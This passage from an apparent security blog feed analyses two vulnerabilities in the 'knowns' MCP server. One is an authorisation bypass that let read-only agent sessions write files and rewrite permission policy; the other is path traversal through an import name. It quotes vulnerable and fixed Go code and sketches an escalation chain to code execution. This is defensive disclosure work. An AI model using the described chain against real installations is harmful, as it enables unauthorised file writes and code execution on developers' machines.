configLoader()</span><br><span class="line">policy := EffectivePolicy(cfg)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Check dryRun from arguments.</span></span><br><span class="line">dryRun := isDryRun(args) || lifecyclePreview(action, args)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Pass 1: capability gate (no IO).</span></span><br><span class="line">confirmedDelete := meta.Capability == CapDelete &amp;&amp; explicitDeleteConfirmation(args)</span><br><span class="line"><span class="keyword">if</span> denial := CheckCapability(policy, meta, dryRun || confirmedDelete); denial != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> denialResult(denial), <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Allowed — proceed to handler.</span></span><br><span class="line"><span class="keyword">return</span> next(ctx, req)</span><br></pre></td></tr></table></figure><p>This is well-built enforcement: classify, load policy, evaluate, deny early without IO, and a separate confirmation requirement for deletes. Every line of it did its job. It received <code>CapRead</code> for a call that was about to run <code>os.WriteFile</code>, and correctly allowed a read.</p><p><strong>Inferred:</strong> this is the characteristic failure mode of policy-driven authorisation, and it is worth naming. The enforcement code is easy to review — it is small, central, and obviously security-relevant. The classification data is a map literal that reads like configuration, gets extended by whoever adds a feature, and attracts no security review at all. The vulnerability lives in the data, and the data is the part nobody looks at.</p><h3 id="Registry-drift-is-the-mechanism"><a href="#Registry-drift-is-the-mechanism" class="headerlink" title="Registry drift is the mechanism"></a>Registry drift is the mechanism</h3><p>Nobody wrote <code>&quot;code.replace&quot;: &#123;Capability: CapRead&#125;</code>. That would have been caught. The bug arrived by <em>omission</em>: mutating actions were added to the handler and never added to the registry, and the fallback quietly covered the gap. Every new action shipped pre-authorised for read-restricted sessions, and there was no signal — no error, no log line, no test failure — that this had happened.</p><h3 id="The-escalation"><a href="#The-escalation" class="headerlink" title="The escalation"></a>The escalation</h3><p>Once a read-restricted session can invoke <code>code.replace</code>, it can write files. The permission policy is loaded from configuration on disk by <code>configLoader()</code>. Rewriting that configuration changes <code>EffectivePolicy(cfg)</code> for subsequent calls.</p><p><strong>Inferred:</strong> the attacker’s position after that step is qualitatively different. They no longer need the classification bug — they hold a legitimate grant. Restoring the registry alone would not evict them; the modified policy file would have to be found and reverted too. That is why the fix hardens both the classification <em>and</em> the ability to write policy paths.</p><p>Combined with <a href="/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/">CVE-2026-86541</a>, which let <code>code.replace</code> write outside the project root entirely, the pair yields: read-restricted MCP session → arbitrary file write on the host → durable elevated permissions.</p><h2 id="Impact"><a href="#Impact" class="headerlink" title="Impact"></a>Impact</h2><h3 id="Verified-impact"><a href="#Verified-impact" class="headerlink" title="Verified impact"></a>Verified impact</h3><ul><li>Sessions restricted to read-only operations could invoke mutating code actions.</li><li>Attackers could modify permission configuration and escalate privileges on subsequent calls.</li><li>Integrity and availability impacts are High; confidentiality is not directly affected (<code>VC:N</code>).</li><li>Low privileges are required (<code>PR:L</code>); no user interaction is (<code>UI:N</code>).</li></ul><h3 id="Deployment-dependent-consequences"><a href="#Deployment-dependent-consequences" class="headerlink" title="Deployment-dependent consequences"></a>Deployment-dependent consequences</h3><p>The following are <strong>inferred</strong>:</p><ul><li>any deployment relying on read-only MCP sessions as a safety boundary — sandboxed agents, review-only assistants, shared or multi-tenant setups, CI-attached agents — had no such boundary in practice;</li><li>deletion of source files through <code>code.delete</code>, which was likewise classified as read;</li><li>a durable policy grant that survives fixing the classification bug, if the configuration was rewritten;</li><li>silent failure: because the guard returned success, there is no denial record of the bypass in logs — the calls look like ordinary permitted operations;</li><li>amplification of prompt injection, since the read-only posture that made auto-approving code tools feel acceptable was not real.</li></ul><p><strong>Inferred:</strong> the reliance point matters more than the raw impact. A permission system that is trusted is more dangerous when wrong than one that is absent, because teams make architectural decisions on the strength of it — “the agent is read-only, so we can let it run unattended” is a reasonable decision built on a false premise.</p><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><h3 id="Inventory-and-configuration-review"><a href="#Inventory-and-configuration-review" class="headerlink" title="Inventory and configuration review"></a>Inventory and configuration review</h3><ol><li>Identify knowns installations and versions; anything before 0.30.0 is affected.</li><li>Identify every session or integration configured with a restricted policy, and treat that restriction as not having been enforced for code actions.</li><li>Inspect the current permission configuration for entries nobody set, and compare it against version control or a known-good copy.</li><li>In your own MCP servers, diff the set of implemented actions against the set of classified actions. Any action present in the first and absent from the second is the same bug.</li></ol><p>A useful, non-invasive audit for any registry of this shape:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Actions the handlers implement, versus actions the registry classifies.</span></span><br><span class="line"><span class="comment"># Any name in the first list and not the second inherits the fallback.</span></span><br></pre></td></tr></table></figure><p><strong>Inferred:</strong> this comparison is worth automating as a test in any project that classifies actions in a lookup table. It is the check that would have caught this at authoring time.</p><h3 id="Telemetry-to-review"><a href="#Telemetry-to-review" class="headerlink" title="Telemetry to review"></a>Telemetry to review</h3><ul><li>MCP invocations of <code>code.replace</code>, <code>code.rename</code>, <code>code.insert</code>, <code>code.replace_body</code>, or <code>code.delete</code> from sessions that were supposed to be read-only;</li><li>file modifications during sessions whose policy should have forbidden them;</li><li>changes to the knowns permission configuration, at any time;</li><li>absence of denial events in a session that should have produced them — silence is the signature here, not noise;</li><li>source files deleted or altered without a corresponding commit or user request.</li></ul><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required-remediation"><a href="#Required-remediation" class="headerlink" title="Required remediation"></a>Required remediation</h3><p>Upgrade to <strong>knowns 0.30.0 or later</strong>. The fix does three things, and the third is the durable one.</p><p><strong>Every code action is now classified explicitly</strong>, with mutations marked <code>CapWrite</code> or <code>CapDelete</code> and <code>RiskHigh</code>:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// code</span></span><br><span class="line"><span class="string">&quot;code.search&quot;</span>:          &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.symbols&quot;</span>:         &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.deps&quot;</span>:            &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.graph&quot;</span>:           &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.find&quot;</span>:            &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.definition&quot;</span>:      &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.references&quot;</span>:      &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.implementations&quot;</span>: &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.diagnostics&quot;</span>:     &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.rename&quot;</span>:          &#123;Capability: CapWrite, Target: TargetCode, Risk: RiskHigh&#125;,</span><br><span class="line"><span class="string">&quot;code.replace&quot;</span>:         &#123;Capability: CapWrite, Target: TargetCode, Risk: RiskHigh&#125;,</span><br><span class="line"><span class="string">&quot;code.replace_body&quot;</span>:    &#123;Capability: CapWrite, Target: TargetCode, Risk: RiskHigh&#125;,</span><br><span class="line"><span class="string">&quot;code.insert&quot;</span>:          &#123;Capability: CapWrite, Target: TargetCode, Risk: RiskHigh&#125;,</span><br><span class="line"><span class="string">&quot;code.delete&quot;</span>:          &#123;Capability: CapDelete, Target: TargetCode, Risk: RiskHigh&#125;,</span><br></pre></td></tr></table></figure><p><strong>The tool-level fallback is inverted to fail closed</strong>, and the maintainers left the reasoning in the code:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Code has explicit read classifications above. Keep the fallback write</span></span><br><span class="line"><span class="comment">// so a newly added mutation cannot silently inherit read permission.</span></span><br><span class="line"><span class="string">&quot;code&quot;</span>:      &#123;Capability: CapWrite, Target: TargetCode, Risk: RiskHigh&#125;,</span><br></pre></td></tr></table></figure><p>This is the part to take away. The registry will drift again — that is what registries do. The fallback now makes drift fail in the safe direction: a future action added to the handler without a registry entry is over-restricted rather than under-restricted. Someone will file a bug about the restriction, which is a much better outcome than nobody filing anything.</p><p><strong>Mutation of managed policy paths is blocked at the handler</strong>, via <code>ensureCodeMutationPath</code>, so even a correctly authorised write cannot be aimed at the permission configuration itself. Combined with the path containment from <a href="/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/">CVE-2026-86541</a>, the escalation route is closed independently of the classification fix — defence in depth applied to the specific chain rather than in the abstract.</p><p>The commit also adds <code>confirmed</code> and <code>reason</code> arguments for <code>action=delete</code>, so destructive operations need explicit acknowledgement.</p><h3 id="Defense-in-depth"><a href="#Defense-in-depth" class="headerlink" title="Defense in depth"></a>Defense in depth</h3><ul><li>Do not treat an application-level “read-only session” as an isolation boundary. Enforce read-only at the OS level too — a read-only mount, a dedicated user, or a container.</li><li>Add a test that asserts every registered handler action has an explicit classification. This class of bug is mechanically detectable.</li><li>Default unknown actions to the most restrictive capability, everywhere, without exception.</li><li>Make classification part of the definition of an action rather than a parallel table, so the two cannot diverge.</li><li>Log allow decisions for high-risk capabilities, not only denials — otherwise a fail-open bug produces no evidence at all.</li><li>Never let a mutating operation write the policy that authorises it.</li></ul><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2026-08-15</td><td>Fix commit <code>a2c98fc5c313</code> authored in the knowns repository</td><td>Repository metadata</td></tr><tr><td>2026-08-16</td><td>Public disclosure date recorded on the CVE record</td><td>CVE record <code>datePublic</code></td></tr><tr><td>2026-09-07</td><td>CVE-2026-86544 reserved and published</td><td>CVE record metadata</td></tr><tr><td>2026-09-08</td><td>This analysis published</td><td>This site</td></tr></tbody></table><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="The-safe-default-is-the-restrictive-one"><a href="#The-safe-default-is-the-restrictive-one" class="headerlink" title="The safe default is the restrictive one"></a>The safe default is the restrictive one</h3><p>“A safe read default” is safe for the request and unsafe for the system. When classification fails, deny. An over-restricted new feature produces a bug report; an under-restricted one produces a CVE.</p><h3 id="Authorisation-data-deserves-the-same-review-as-authorisation-code"><a href="#Authorisation-data-deserves-the-same-review-as-authorisation-code" class="headerlink" title="Authorisation data deserves the same review as authorisation code"></a>Authorisation data deserves the same review as authorisation code</h3><p>The guard middleware was reviewed and correct. The map literal that fed it was not, because it looks like configuration. In any policy-driven system, the lookup table <em>is</em> security code. Review it as such, and put it in the same file or the same review checklist as the enforcement it drives.</p><h3 id="Derive-classification-do-not-maintain-it-in-parallel"><a href="#Derive-classification-do-not-maintain-it-in-parallel" class="headerlink" title="Derive classification, do not maintain it in parallel"></a>Derive classification, do not maintain it in parallel</h3><p>Two lists that must stay in sync will not. Where the language allows it, attach the capability to the action’s definition — a struct field, a builder argument, an interface method — so adding an action forces a decision about its capability at the point of authoring.</p><h3 id="Test-the-invariant-not-the-examples"><a href="#Test-the-invariant-not-the-examples" class="headerlink" title="Test the invariant, not the examples"></a>Test the invariant, not the examples</h3><p>A test asserting <code>code.replace</code> requires write permission is useful. A test asserting <em>every registered action has an explicit classification</em> is the one that catches the next occurrence. Prefer completeness properties over example cases when guarding against omission.</p><h3 id="A-permission-system-you-trust-must-be-a-permission-system-you-verify"><a href="#A-permission-system-you-trust-must-be-a-permission-system-you-verify" class="headerlink" title="A permission system you trust must be a permission system you verify"></a>A permission system you trust must be a permission system you verify</h3><p>Teams build architecture on top of “the agent is read-only”. If that claim rests on a lookup table nobody audits, the architecture rests on it too. Periodically prove the boundary rather than assuming it.</p><h2 id="Related-advisories-in-this-set"><a href="#Related-advisories-in-this-set" class="headerlink" title="Related advisories in this set"></a>Related advisories in this set</h2><ul><li><a href="/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/">CVE-2026-86541</a> — the containment half of this pair, fixed in the same commit</li><li><a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a> — path traversal through MCP doc and memory tools</li><li><a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a> — unauthenticated management API exposure</li><li><a href="/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/">CVE-2026-86538</a> — unauthenticated arbitrary file read via <code>templateFile</code></li><li><a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a> — unauthenticated arbitrary file write via import name</li><li><a href="/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/">CVE-2026-86540</a> — arbitrary code execution via the LSP binary override</li><li><a href="/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/">CVE-2026-86775</a> — unauthenticated path traversal through the HTTP Document API</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-86544">CVE.org record: CVE-2026-86544</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-86544">NIST National Vulnerability Database: CVE-2026-86544</a></li><li><a href="https://github.com/knowns-dev/knowns/security/advisories/GHSA-w323-3wpx-f7g5">GitHub Security Advisory: GHSA-w323-3wpx-f7g5</a></li><li><a href="https://www.vulncheck.com/advisories/knowns-before-0.30.0-authorization-bypass-via-misclassified-code-actions">VulnCheck advisory</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/permissions/registry.go#L99-L140"><code>ActionRegistry</code> and <code>ClassifyAction</code> at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/permissions/guard.go#L44-L60">Guard middleware at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/commit/a2c98fc5c313463576c9348beeec6a74ddd7333b">Fix commit <code>a2c98fc5c313</code></a></li><li><a href="https://github.com/knowns-dev/knowns/releases/tag/v0.30.0">knowns v0.30.0 release notes</a></li></ul><p>Reported by Tong Hoang Gia and Nguyen Huy Hoang. Recheck the primary sources above during remediation; public vulnerability records are frequently revised after publication.</p>]]></content>
    
    
    <summary type="html">CVE-2026-86544 affects knowns before 0.30.0: mutating code actions were classified as read-only, letting read-restricted sessions write files and escalate privileges. Upgrade to 0.30.0.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="mcp" scheme="https://blog.nhhoang.io.vn/tags/mcp/"/>
    
    <category term="knowns" scheme="https://blog.nhhoang.io.vn/tags/knowns/"/>
    
    <category term="golang" scheme="https://blog.nhhoang.io.vn/tags/golang/"/>
    
    <category term="authorization" scheme="https://blog.nhhoang.io.vn/tags/authorization/"/>
    
    <category term="privilege-escalation" scheme="https://blog.nhhoang.io.vn/tags/privilege-escalation/"/>
    
    <category term="cwe-863" scheme="https://blog.nhhoang.io.vn/tags/cwe-863/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-86542: knowns Unauthenticated Arbitrary File Write via Import Name</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/</id>
    <published>2026-09-08T04:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.496Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This article analyses a fixed, publicly disclosed vulnerability using the vendor’s own published source references. It describes the defective data flow and the remediation. It does not include working traversal strings, target path lists, or a runnable proof of concept.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-86542 is a path-traversal vulnerability in the import routes of <a href="https://github.com/knowns-dev/knowns">knowns</a> before 0.30.0. The import feature clones or registers an external source and stores its <code>.knowns/docs</code> and <code>.knowns/templates</code> content under <code>.knowns/imports/&#123;name&#125;/</code>. That <code>&#123;name&#125;</code> came straight from the request body — or was derived from the source URL — and was never validated as a single path segment before being joined onto the imports directory.</p><p>The result is an arbitrary file write: the destination escapes the imports directory, and for a git source the <em>content</em> is whatever the attacker put in the repository they asked knowns to clone. Attacker-chosen path, attacker-chosen content.</p><p>The weakness is <strong>CWE-22: Improper Limitation of a Pathname to a Restricted Directory</strong>. The vendor scores it <strong>CVSS 4.0 8.8 High</strong> (<code>CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N</code>) and <strong>CVSS 3.1 9.1 Critical</strong> (<code>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H</code>) — the highest CVSS 3.1 score in this advisory set apart from the exposure issue itself.</p><p><code>PR:N</code> again reflects <a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a>: the management API was unauthenticated on all interfaces by default.</p><p>Fixed in <strong>knowns 0.30.0</strong> by commit <a href="https://github.com/knowns-dev/knowns/commit/d3989829fb5095666d23d005b2f78a082832a396"><code>d3989829fb50</code></a>.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the CVE record, the GitHub Security Advisory, or the project’s published source and release material.</li><li><strong>Inferred</strong> means a deployment consequence derived from those facts and clearly marked as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-86542</td><td>Verified</td></tr><tr><td>Advisory</td><td>GHSA-wh3c-v55g-qfg8</td><td>Verified</td></tr><tr><td>Product</td><td>knowns (<code>pkg:npm/knowns</code>, Go implementation)</td><td>Verified</td></tr><tr><td>Affected versions</td><td>All versions before 0.30.0</td><td>Verified</td></tr><tr><td>Fixed version</td><td>0.30.0</td><td>Verified</td></tr><tr><td>Weakness</td><td>Path traversal, CWE-22</td><td>Verified</td></tr><tr><td>Entry point</td><td><code>name</code> parameter on the import routes</td><td>Verified</td></tr><tr><td>Dangerous sink</td><td><code>os.MkdirAll</code> and <code>copyFile</code> under an unvalidated destination</td><td>Verified</td></tr><tr><td>Authentication required</td><td>None, by default</td><td>Verified</td></tr><tr><td>Impact</td><td>Overwrite of arbitrary files writable by the server process</td><td>Verified</td></tr><tr><td>CVSS 4.0</td><td>8.8 High</td><td>Verified</td></tr><tr><td>CVSS 3.1</td><td>9.1 Critical</td><td>Verified</td></tr><tr><td>Reporters</td><td>Tong Hoang Gia, Nguyen Huy Hoang</td><td>Verified</td></tr><tr><td>Fix commit</td><td><code>d3989829fb5095666d23d005b2f78a082832a396</code></td><td>Verified</td></tr></tbody></table><h2 id="Why-the-write-side-is-categorically-worse"><a href="#Why-the-write-side-is-categorically-worse" class="headerlink" title="Why the write side is categorically worse"></a>Why the write side is categorically worse</h2><p>An arbitrary read is a confidentiality problem with a bounded, if severe, outcome: the attacker learns things. An arbitrary write on a developer workstation is an execution problem, because a developer’s home directory is full of files that something will later read and act on.</p><p><strong>Inferred:</strong> the general shape of the escalation is that a write primitive plus any auto-executed configuration file equals code execution at the next trigger. Shell startup files, editor and tool configuration, git hooks, and per-project settings all get read by something that will do what they say. The attacker does not need memory corruption or a shell — they need patience and one file.</p><p>That is why this CVE matters more than its CVSS 4.0 score suggests. It is the pivot in the chain:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">CVE-2026-86543           CVE-2026-86542            CVE-2026-86540</span><br><span class="line">no auth, all interfaces  arbitrary file write      config-driven binary execution</span><br><span class="line">        |                        |                          |</span><br><span class="line">        +------------------------+--------------------------+</span><br><span class="line">                                 v</span><br><span class="line">        unauthenticated network caller  -&gt;  persistent code execution</span><br><span class="line">                                            as the developer&#x27;s user</span><br></pre></td></tr></table></figure><p>Writing a crafted <code>.knowns/config.json</code> into a project directory is enough to arm <a href="/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/">CVE-2026-86540</a>, which executes an unvalidated binary name from that file when the project is opened.</p><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><h3 id="The-name-is-taken-and-used-never-checked"><a href="#The-name-is-taken-and-used-never-checked" class="headerlink" title="The name is taken and used, never checked"></a>The name is taken and used, never checked</h3><p>From <code>internal/server/routes/imports.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// add registers a new import source.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// POST /api/imports</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(ir *ImportRoutes)</span></span> add(w http.ResponseWriter, r *http.Request) &#123;</span><br><span class="line"><span class="keyword">var</span> req addImportRequest</span><br><span class="line"><span class="keyword">if</span> err := decodeJSON(r, &amp;req); err != <span class="literal">nil</span> &#123;</span><br><span class="line">respondError(w, http.StatusBadRequest, <span class="string">&quot;invalid request body: &quot;</span>+err.Error())</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> req.Source == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">respondError(w, http.StatusBadRequest, <span class="string">&quot;source is required&quot;</span>)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">name := req.Name</span><br><span class="line"><span class="keyword">if</span> name == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">name = nameFromSource(req.Source)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Git URL: clone and copy .knowns/docs + templates.</span></span><br><span class="line"><span class="keyword">if</span> isGitURL(req.Source) &#123;</span><br><span class="line">changes, warnings, _, _, err := ir.gitCloneImport(req.Source, name, req.Ref, <span class="string">&quot;&quot;</span>, req.DryRun)</span><br><span class="line">...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Non-git source: create empty import directory.</span></span><br><span class="line">destDir := filepath.Join(ir.importsDir(), name)</span><br><span class="line"><span class="keyword">if</span> err := os.MkdirAll(destDir, <span class="number">0755</span>); err != <span class="literal">nil</span> &#123;</span><br><span class="line">respondError(w, http.StatusInternalServerError, <span class="string">&quot;create import dir: &quot;</span>+err.Error())</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>req.Source</code> is checked for emptiness. <code>req.Name</code> is checked for emptiness only as a trigger for the fallback. Neither branch establishes that <code>name</code> is a single path segment before it reaches <code>filepath.Join</code>.</p><p>The non-git branch already gives directory creation at an arbitrary location. The git branch gives the full primitive.</p><h3 id="The-clone-path-multiplies-the-problem"><a href="#The-clone-path-multiplies-the-problem" class="headerlink" title="The clone path multiplies the problem"></a>The clone path multiplies the problem</h3><p>From the same file, in <code>gitCloneImport</code>:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Collect files from docs/ and templates/ subdirectories.</span></span><br><span class="line"><span class="keyword">var</span> changes []importChange</span><br><span class="line"><span class="keyword">var</span> warnings []<span class="type">string</span></span><br><span class="line">destBase := filepath.Join(ir.importsDir(), name)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> _, sub := <span class="keyword">range</span> []<span class="type">string</span>&#123;<span class="string">&quot;docs&quot;</span>, <span class="string">&quot;templates&quot;</span>&#125; &#123;</span><br><span class="line">srcDir := filepath.Join(knownsDir, sub)</span><br><span class="line"><span class="keyword">if</span> _, err := os.Stat(srcDir); os.IsNotExist(err) &#123;</span><br><span class="line"><span class="keyword">continue</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">err := filepath.Walk(srcDir, <span class="function"><span class="keyword">func</span><span class="params">(path <span class="type">string</span>, info os.FileInfo, err <span class="type">error</span>)</span></span> <span class="type">error</span> &#123;</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> || info.IsDir() &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line">relPath, _ := filepath.Rel(knownsDir, path)</span><br><span class="line">relPath = filepath.ToSlash(relPath)</span><br><span class="line"><span class="keyword">if</span> sub == <span class="string">&quot;docs&quot;</span> &#123;</span><br><span class="line">subRel := strings.TrimPrefix(relPath, <span class="string">&quot;docs/&quot;</span>)</span><br><span class="line">relPath = <span class="string">&quot;docs/&quot;</span> + name + <span class="string">&quot;/&quot;</span> + subRel</span><br><span class="line">&#125;</span><br><span class="line">destPath := filepath.Join(destBase, relPath)</span><br><span class="line">...</span><br><span class="line"><span class="keyword">if</span> !dryRun &amp;&amp; action != <span class="string">&quot;skip&quot;</span> &#123;</span><br><span class="line"><span class="keyword">if</span> err := os.MkdirAll(filepath.Dir(destPath), <span class="number">0755</span>); err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> err</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> err := copyFile(path, destPath); err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> err</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">&#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Three properties of this loop are worth drawing out:</p><ol><li><strong><code>destBase</code> inherits the unvalidated name.</strong> Every destination in the walk is relative to a base that may already sit outside the imports directory.</li><li><strong>The name is interpolated a second time</strong> in <code>relPath = &quot;docs/&quot; + name + &quot;/&quot; + subRel</code>, so it influences the path twice — once through the base and once through the relative portion.</li><li><strong><code>os.MkdirAll</code> creates whatever directories the destination needs.</strong> The write is not limited to overwriting files that already exist; it can construct the target directory tree first.</li></ol><p>Combined with a source repository the attacker controls, the loop copies attacker-authored file content to attacker-chosen destinations. The only structural constraints are that the content lives under <code>.knowns/docs</code> or <code>.knowns/templates</code> in the source repo, and that the target must be writable by the knowns process.</p><h3 id="The-dryRun-flag-is-not-a-security-control"><a href="#The-dryRun-flag-is-not-a-security-control" class="headerlink" title="The dryRun flag is not a security control"></a>The <code>dryRun</code> flag is not a security control</h3><p><code>dryRun</code> suppresses the copy, and is presumably why the feature felt safe to expose — a caller can preview changes. But it is a caller-supplied boolean. It reduces the impact of an accidental import; it does nothing about a deliberate one.</p><h3 id="The-other-handlers-shared-the-flaw"><a href="#The-other-handlers-shared-the-flaw" class="headerlink" title="The other handlers shared the flaw"></a>The other handlers shared the flaw</h3><p>The fix commit adds validation to <code>get</code>, <code>remove</code>, and <code>gitCloneImport</code> as well as <code>add</code>. <strong>Inferred:</strong> the <code>DELETE 